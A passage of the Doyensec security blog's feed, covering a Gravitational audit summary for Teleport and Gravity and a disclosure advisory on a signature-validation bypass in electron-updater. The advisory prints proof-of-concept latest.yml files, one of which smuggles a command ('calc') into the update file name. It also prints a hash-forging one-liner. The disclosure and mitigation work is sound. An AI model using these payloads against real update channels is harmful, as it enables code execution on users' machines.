  &lt;li&gt;&lt;em&gt;8th Jan 2020&lt;/em&gt;: Microsoft replies that the issue should be fixed by mid-April 2020&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;16th Mar 2020&lt;/em&gt;: Doyensec advisory and blog post is published&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;edits&quot;&gt;Edits&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;17th Mar 2020&lt;/em&gt;: The blogpost stated that the extension is bundled by default with the editor. That is not the case, and we removed that claim. Thanks &lt;a href=&quot;https://twitter.com/justinsteven&quot;&gt;@justinsteven&lt;/a&gt; for pointing this out!&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 <entry>
   <title>2019 Gravitational Security Audit Results</title>
   <link href="https://blog.doyensec.com/2020/03/02/gravitational-audit.html"/>
   <updated>2020-03-02T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/03/02/gravitational-audit</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;This is a re-post of the original blogpost published by &lt;a href=&quot;https://gravitational.com/blog/security-audit-2019-1/&quot;&gt;Gravitational&lt;/a&gt; on the 2019 security audit results for their two products: &lt;a href=&quot;https://gravitational.com/teleport/&quot;&gt;Teleport&lt;/a&gt; and &lt;a href=&quot;https://gravitational.com/gravity&quot;&gt;Gravity&lt;/a&gt;.&lt;/p&gt;

  &lt;p&gt;You can download the security testing deliverables for &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdf&quot;&gt;Teleport&lt;/a&gt; and &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdf&quot;&gt;Gravity&lt;/a&gt; from our research page.&lt;/p&gt;

  &lt;p&gt;We would like to take this opportunity to thank the Gravitational engineering team for choosing Doyensec and working with us to ensure a successful project execution.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We now live in an era where the security of all layers of the software stack are immensely important, and simply open sourcing a code base is not enough to ensure that security vulnerabilities surface and are addressed. At Gravitational, we see it as a necessity to engage a third party that specializes in acting as an adversary, and provide an independent analysis of our sources.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
        &lt;img src=&quot;../../../public/images/gravisecurityaudit.png&quot; width=&quot;100%&quot; title=&quot;2019 Gravitational Security Audit Results&quot; alt=&quot;2019 Gravitational Security Audit Results&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This year, we had an opportunity to work with &lt;a href=&quot;https://www.doyensec.com/&quot;&gt;Doyensec&lt;/a&gt;, which provided the most thorough independent analysis of Gravity and Teleport to date. The Doyensec team did an amazing job at finding areas where we are weak in the Gravity code base. Here is the full report for &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Gravitational_Teleport_Report_Q22019_WithRetesting.pdf&quot;&gt;Teleport&lt;/a&gt; and &lt;a href=&quot;https://doyensec.com/resources/Doyensec_Gravitational_Gravity_Report_Q22019_WithRetesting.pdf&quot;&gt;Gravity&lt;/a&gt;; and you can find all of our security audits &lt;a href=&quot;https://gravitational.com/resources/audits/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;gravity&quot;&gt;Gravity&lt;/h2&gt;

&lt;p&gt;Gravity has a lot of moving components. As a Kubernetes distribution and distributed system for delivering Kubernetes in many unique environments, the product’s attack surface isn’t small.&lt;/p&gt;

&lt;p&gt;All flaws considered medium or higher except for one were patched and released as they were reported by the Doyensec team, and we’ve also been working towards addressing the more minor and informational issues as part of our normal release process. Out of the four vulnerabilities rated as high by Doyensec, we’ve managed to patch three of them, and the fourth relies on a significant investment in design and tooling change which we’ll go into in a moment.&lt;/p&gt;

&lt;h3 id=&quot;insecure-decompression-of-application-bundles&quot;&gt;Insecure Decompression of Application Bundles&lt;/h3&gt;

&lt;p&gt;Part of what Gravity does is package applications into an installer that can be taken to on-prem and air-gapped environments, installing a fully working Kubernetes cluster and application without dependencies. As such, we build our artifacts as a tar file - a virtually universally supported archive format.&lt;/p&gt;

&lt;p&gt;Along with this, our own tooling is able to process and accept these tar archives, which is where we run into problems. Golang’s tar handling code is extremely basic and this allows very old tar handling problems to surface, granting specially crafted tar files the ability to overwrite arbitrary system files and allowing for remote code execution. Our tar handling has now been hardened against such vulnerabilities, and we’ll write a post digging into just this topic soon.&lt;/p&gt;

&lt;h3 id=&quot;remote-code-execution-via-malicious-auth-connector&quot;&gt;Remote Code Execution via Malicious Auth Connector&lt;/h3&gt;

&lt;p&gt;When using our cli tools to do single sign on, we launch a browser for the user to the single sign on page. This was done by passing a url from the server to the client to tell it where the SSO page is located.&lt;/p&gt;

&lt;p&gt;Someone with access to the server is able to change the url to be a non http(s) url and execute programs locally on the cli host. We’ve implemented sanitization of the url passed by the server to enforce http(s), and also changed the design of some new features to not require trusting data from a server.&lt;/p&gt;

&lt;h3 id=&quot;missing-acls-in-the-api&quot;&gt;Missing ACLs in the API&lt;/h3&gt;

&lt;p&gt;Perhaps the most embarrassing issue in this list - the API endpoints responsible for managing API tokens were missing authorization ACLs. This allowed for any authenticated user, even those with empty permissions, to access, edit, and create tokens for other users. This would allow for user impersonation and privilege escalation. This vulnerability was quickly addressed by implementing the correct ACLs, and the team is working hard to ensure these types of vulnerabilities do not reoccur.&lt;/p&gt;

&lt;h3 id=&quot;missing-signature-verification-in-application-bundles&quot;&gt;Missing Signature Verification in Application Bundles&lt;/h3&gt;

&lt;p&gt;This is the vulnerability we haven’t been able to address so far, as it was never a design objective to protect against this particular vulnerability.&lt;/p&gt;

&lt;p&gt;Gravity includes a hub product for enterprise customers that allows for the storage and download of application assets, either for installation or upgrade. In essence, part of the hub product is to act as a file server where a company can store their application, and internally or publically connect deployed clusters for updates.&lt;/p&gt;

&lt;p&gt;The weakness in the model, as has been seen by many public artifact repositories, is that this security model relies on the integrity of the system storing those assets.&lt;/p&gt;

&lt;p&gt;While not necessarily a vulnerability on its own, this is a design weakness that doesn’t match the capabilities the security community expects. The security is roughly equivalent to posting a binary build to Github - anyone with the correct access can modify or post malicious assets, and anyone who trusts Github when downloading that asset could be getting a malicious asset. Instead, packages should be signed in some way before being posted to a public download server, and the software should have a method for trusting that updates and installs come from a trusted source.&lt;/p&gt;

&lt;p&gt;This is a really difficult problem that many companies have gotten wrong, so it’s not something that Gravitational as an organization is willing to rush a solution for. There are several well known models that we are evaluating, but we’re not at a stage where we have a solution that we’re completely happy with.&lt;/p&gt;

&lt;p&gt;In this realm, we’re also going to end-of-life the hub product as the asset storage functionality is not widely used. We’re also going move the remote access functionality that our customers do care about over to our Teleport product.&lt;/p&gt;

&lt;h2 id=&quot;teleport&quot;&gt;Teleport&lt;/h2&gt;

&lt;p&gt;As we mentioned in the Teleport 4.2 release notes, the most serious issues were centered around the incorrect handling of session data. If an attacker was able to gain valid x509 credentials of a Teleport node, they could use the session recording facility to read/write arbitrary files on the Auth Server or potentially corrupt recorded session data.&lt;/p&gt;

&lt;p&gt;These vulnerabilities could be only exploited using credentials from a previously authenticated client. There was no known way to exploit this vulnerability outside the cluster by non-authenticated clients.&lt;/p&gt;

&lt;p&gt;After the re-assessment, all issues with any direct security impact were addressed. From the report:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;In January 2020, Doyensec performed a retesting of the Teleport platform and confirmed the effectiveness of the applied mitigations. All issues with direct security impact have been addressed by Gravitational.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Even though all direct issues were mitigated, there was one issue in the report that continued to bother us and we felt we could do better on: “#6: Session Recording Bypasses”. This is something we had known about for quite some time and something we have been upfront with to users and customers. Session recording is a great feature, however due to the inherent complexity of the problem being solved, bypasses do exist.&lt;/p&gt;

&lt;p&gt;Teleport 4.2 introduced a new feature called &lt;a href=&quot;https://gravitational.com/teleport/docs/features/enhanced_session_recording/&quot;&gt;Enhanced Session Recording&lt;/a&gt; that uses eBPF tooling to substantially reduce the bypass gaps that can exist. We’ll have more to share on that soon in the form of another blog post that will go into the technical implementation details for that feature.&lt;/p&gt;
</content>
 </entry>
 
 <entry>
   <title>Signature Validation Bypass Leading to RCE In Electron-Updater</title>
   <link href="https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html"/>
   <updated>2020-02-24T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;We’ve been made aware that the vulnerability discussed in this blog post has been independently discovered and disclosed to the public by a well-known &lt;a href=&quot;https://twitter.com/julianor/status/1228708674585157632&quot;&gt;security researcher&lt;/a&gt;. Since the security issue is now public and it is over 90 days from our initial disclosure to the maintainer, we have decided to publish the details - even though the fix available in the latest version of Electron-Builder does not fully mitigate the security flaw.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/electron-userland/electron-builder&quot;&gt;Electron-Builder&lt;/a&gt; advertises itself as a “&lt;em&gt;complete solution to package and build a ready for distribution Electron app with auto update support out of the box&lt;/em&gt;”. For macOS and Windows, code signing and verification are also supported. At the time of writing, the package counts around 100k weekly downloads, and it is being used by ~36k projects with over 8k stargazers.
&lt;br /&gt;&lt;/p&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;img src=&quot;../../../public/images/electron-builder-repository.jpg&quot; title=&quot;Electron-Builder repository&quot; alt=&quot;Electron-Builder repository&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;p&gt;This software is commonly used to build platform-specific packages for ElectronJs-based applications and it is frequently employed for software updates as well. The auto-update feature is provided by its &lt;a href=&quot;https://github.com/electron-userland/electron-builder/tree/master/packages/electron-updater&quot;&gt;electron-updater&lt;/a&gt; submodule, internally using &lt;a href=&quot;https://github.com/Squirrel/Squirrel.Mac&quot;&gt;Squirrel.Mac&lt;/a&gt; for macOS, &lt;a href=&quot;https://en.wikipedia.org/wiki/Nullsoft_Scriptable_Install_System&quot;&gt;NSIS&lt;/a&gt; for Windows and &lt;a href=&quot;https://appimage.org/&quot;&gt;AppImage&lt;/a&gt; for Linux.  In particular, it features a &lt;a href=&quot;https://www.electron.build/code-signing&quot;&gt;dual code-signing&lt;/a&gt; method for Windows (supporting SHA1 &amp;amp; SHA256 hashing algorithms).&lt;/p&gt;

&lt;h3 id=&quot;a-fail-open-design&quot;&gt;A Fail Open Design&lt;/h3&gt;

&lt;p&gt;As part of a security engagement for one of our customers, we have reviewed the update mechanism performed by Electron Builder, and discovered an overall lack of secure coding practices. In particular, we identified a vulnerability that can be leveraged to bypass the signature verification check hence leading to remote command execution.&lt;/p&gt;

&lt;p&gt;The signature verification check performed by electron-builder is simply based on a string comparison between the installed binary’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;publisherName&lt;/code&gt; and the certificate’s &lt;em&gt;Common Name&lt;/em&gt; attribute of the update binary. During a software update, the application will request a file named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest.yml&lt;/code&gt; from the update server, which contains the definition of the new release - including the binary filename and hashes.&lt;/p&gt;

&lt;p&gt;To retrieve the update binary’s publisher, the module executes &lt;a href=&quot;https://github.com/electron-userland/electron-builder/blob/a0026a7422977b449709f8a662d9dd30600a31b1/packages/electron-updater/src/windowsExecutableCodeSignatureVerifier.ts#L13-L43&quot;&gt;the following code&lt;/a&gt; leveraging the native &lt;a href=&quot;https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-authenticodesignature?view=powershell-7&quot;&gt;Get-AuthenticodeSignature&lt;/a&gt; cmdlet from Microsoft.PowerShell.Security:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;    execFile&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;powershell.exe&quot;&lt;/span&gt;, &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;-NoProfile&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;-NonInteractive&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;-InputFormat&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;None&quot;&lt;/span&gt;, &lt;span class=&quot;s2&quot;&gt;&quot;-Command&quot;&lt;/span&gt;, &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;Get-AuthenticodeSignature &lt;span class=&quot;s1&quot;&gt;'${tempUpdateFile}'&lt;/span&gt; | ConvertTo-Json &lt;span class=&quot;nt&quot;&gt;-Compress&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;, &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nb&quot;&gt;timeout&lt;/span&gt;: 20 &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; 1000
    &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;, &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;error, stdout, stderr&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
      try &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;error &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; null &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; stderr&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
          handleError&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;logger, error, stderr&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
          resolve&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        const data &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; parseOut&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;stdout&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;data.Status &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; 0&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
          const name &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; parseDn&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;data.SignerCertificate.Subject&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;.get&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;CN&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)!&lt;/span&gt;
          &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;publisherNames.includes&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
            resolve&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
          &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;

        const result &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;publisherNames: &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;publisherNames&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.join(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot; | &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;, raw info: &lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt; + JSON.stringify&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;data, &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;name, value&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; name &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;RawData&quot;&lt;/span&gt; ? undefined : value, 2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        logger.warn&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;Sign verification failed, installer signed with incorrect certificate: &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        resolve&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;result&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
      catch &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;e&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        logger.warn&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;Cannot execute Get-AuthenticodeSignature: &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; Ignoring signature validation due to unknown error.&lt;span class=&quot;sb&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        resolve&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;null&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
      &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;which translates to the following PowerShell command:&lt;/p&gt;

&lt;div class=&quot;language-shell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;powershell.exe &lt;span class=&quot;nt&quot;&gt;-NoProfile&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-NonInteractive&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-InputFormat&lt;/span&gt; None &lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Get-AuthenticodeSignature 'C:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\U&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;sers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&amp;lt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;USER&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\A&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ppData&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\R&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;oaming&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&amp;lt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;vulnerable app name&amp;gt;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\_&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;_update__&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&amp;lt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;update name&amp;gt;.exe' | ConvertTo-Json -Compress&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${tempUpdateFile}&lt;/code&gt; variable is provided unescaped to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execFile&lt;/code&gt; utility, an attacker could bypass the entire signature verification by triggering a parse error in the script. This can be easily achieved by using a filename containing a single quote and then by recalculating the file hash to match the attacker-provided binary (using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shasum -a 512 maliciousupdate.exe | cut -d &quot; &quot; -f1 | xxd -r -p | base64&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;For instance, a malicious update definition would look like:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;version: 1.2.3
files:
  - url: v’ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When serving a similar &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;latest.yml&lt;/code&gt; to a vulnerable Electron app, the attacker-chosen setup executable will be run without warnings. Alternatively, they may leverage the lack of escaping to pull out a trivial command injection:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;version: 1.2.3
files:
  - url: v';calc;'ulnerable-app-setup-1.2.3.exe
  sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZ[...]tkYPEvMxDWgNkb8tPCNZLTbKWcDEOJzfA==
  size: 44653912
path: v';calc;'ulnerable-app-1.2.3.exe
sha512: GIh9UnKyCaPQ7ccX0MDL10UxPAAZr1[...]ZrR5X1kb8tPCNZLTbKWcDEOJzfA==
releaseDate: '2019-11-20T11:17:02.627Z'
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;From an attacker’s standpoint, it would be more practical to backdoor the installer and then leverage preexisting electron-updater features like &lt;a href=&quot;https://github.com/electron-userland/electron-builder/blob/master/packages/electron-updater/src/NsisUpdater.ts#L115&quot;&gt;isAdminRightsRequired&lt;/a&gt; to run the installer with &lt;em&gt;Administrator&lt;/em&gt; privileges.&lt;/p&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
  &lt;img src=&quot;../../../public/images/screen-electron-updater-poc.png&quot; title=&quot;PoC Reproduction of the command injection by using Burp's interception feature&quot; alt=&quot;PoC Reproduction of the command injection by using Burp's interception feature&quot; align=&quot;center&quot; style=&quot;display: block; margin-left: auto; margin-right: auto;&quot; /&gt;
&lt;/div&gt;

&lt;h3 id=&quot;impact&quot;&gt;Impact&lt;/h3&gt;

&lt;p&gt;An attacker could leverage this fail open design to force a malicious update on Windows clients, effectively gaining code execution and persistence capabilities. This could be achieved in several scenarios, such as a service compromise of the update server, or an advanced MITM attack leveraging the lack of certificate validation/pinning against the update server.&lt;/p&gt;

&lt;h3 id=&quot;disclosure-timelines&quot;&gt;Disclosure Timelines&lt;/h3&gt;

&lt;p&gt;Doyensec contacted the main project maintainer on &lt;em&gt;November 12th, 2019&lt;/em&gt; providing a full description of the vulnerability together with a Proof-of-Concept. After multiple solicitations, on &lt;em&gt;January 7th, 2020&lt;/em&gt; Doyensec received a reply acknowledging the bug but downplaying the risk.&lt;/p&gt;

&lt;p&gt;At the same time (&lt;em&gt;November 12th, 2019&lt;/em&gt;), we identified and reported this issue to a number of affected popular applications using the vulnerable electron-builder update mechanism on Windows, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Automattic/wp-desktop&quot;&gt;Wordpress for Desktop&lt;/a&gt; - &lt;em&gt;Still vulnerable in v4.7.0&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/iotaledger/trinity-wallet/&quot;&gt;IOTA Trinity Wallet&lt;/a&gt; - &lt;em&gt;Auto-updates feature has been disabled for Windows (&lt;a href=&quot;https://github.com/iotaledger/trinity-wallet/pull/2566&quot;&gt;#2566&lt;/a&gt;, &lt;a href=&quot;https://github.com/iotaledger/trinity-wallet/pull/2588&quot;&gt;#2588&lt;/a&gt;)&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/meetalva/alva&quot;&gt;Alva&lt;/a&gt; - &lt;em&gt;Still vulnerable in v0.9.2&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/mymonero/mymonero-app-js&quot;&gt;MyMonero&lt;/a&gt; - &lt;em&gt;Still vulnerable in v1.1.13&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/cozy-labs/cozy-desktop&quot;&gt;Cozy Drive&lt;/a&gt; - &lt;em&gt;Still vulnerable in v3.19.0&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;On &lt;em&gt;February 15th, 2020&lt;/em&gt;, we’ve been made aware that the vulnerability discussed in this blog post was discussed on Twitter. On &lt;em&gt;February 24th, 2020&lt;/em&gt;, we’ve been informed by the package’s mantainer that the issue was resolved in release &lt;a href=&quot;https://github.com/electron-userland/electron-builder/releases/tag/v22.3.5&quot;&gt;v22.3.5&lt;/a&gt;. While the patch is mitigating the potential command injection risk, the fail-open condition is still in place and we believe that other attack vectors exist. After informing all affected parties, we have decided to publish our technical blog post to emphasize the risk of using Electron-Builder for software updates.&lt;/p&gt;

&lt;h3 id=&quot;mitigations&quot;&gt;Mitigations&lt;/h3&gt;

&lt;p&gt;Despite its popularity, &lt;strong&gt;we would suggest moving away from Electron-Builder&lt;/strong&gt; due to the lack of secure coding practices and responsiveness of the maintainer.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://www.electronforge.io/&quot;&gt;Electron Forge&lt;/a&gt; represents a potential well-maintained substitute, which is taking advantage of the built-in Squirrel framework and Electron’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;autoUpdater&lt;/code&gt; module. Since the Squirrel.Windows doesn’t implement signature validation either, for a robust signature validation on Windows consider shipping the app to the Windows Store or incorporate &lt;a href=&quot;https://github.com/jedisct1/minisign&quot;&gt;minisign&lt;/a&gt; into the update workflow.&lt;/p&gt;

&lt;p&gt;Please note that using Electron-Builder to prepare platform-specific binaries does not make the application vulnerable to this issue as the vulnerability affects the &lt;em&gt;electron-updater&lt;/em&gt; submodule only. Updates for Linux and Mac packages are also not affected.&lt;/p&gt;

&lt;p&gt;If migrating to a different software update mechanism is not feasible, make sure to &lt;strong&gt;upgrade Electron-Builder to the latest version available&lt;/strong&gt;. At the time of writing, we believe that other attack payloads for the same vulnerable code path still exists in Electron-Builder.&lt;/p&gt;

&lt;p&gt;Standard security hardening and monitoring on the update server is important, as full access on such system is required in order to exploit the vulnerability. Finally, enforcing TLS certificate validation and pinning for connections to the update server mitigates the MITM attack scenario.&lt;/p&gt;

&lt;h3 id=&quot;credits&quot;&gt;Credits&lt;/h3&gt;

&lt;p&gt;This issue was discovered and studied by &lt;a href=&quot;https://github.com/ikkisoft&quot;&gt;Luca Carettoni&lt;/a&gt; and &lt;a href=&quot;https://github.com/phosphore&quot;&gt;Lorenzo Stella&lt;/a&gt;. We would like to thank &lt;em&gt;Samuel Attard&lt;/em&gt; of the ElectronJS Security WG for the review of this blog post.&lt;/p&gt;

</content>
 </entry>
 
 <entry>
   <title>Security Analysis of the Solo Firmware</title>
   <link href="https://blog.doyensec.com/2020/02/19/solokeys-audit.html"/>
   <updated>2020-02-19T00:00:00+01:00</updated>
   <id>https://blog.doyensec.com/2020/02/19/solokeys-audit</id>
   <content type="html">&lt;blockquote&gt;
  &lt;p&gt;This blogpost summarizes the result of a cooperation between &lt;a href=&quot;https://solokeys.com/&quot;&gt;SoloKeys&lt;/a&gt; and Doyensec, and was originally &lt;a href=&quot;https://solokeys.com/blogs/news/security-analysis-of-the-solo-firmware-by-doyensec&quot;&gt;published on SoloKeys blog&lt;/a&gt; by Emanuele Cesena.
You can download the full security auditing report &lt;a href=&quot;https://doyensec.com/resources/Doyensec_SoloKeys_TestingReport_Q12020_v3.pdf&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;div style=&quot;text-align: center;&quot;&gt;
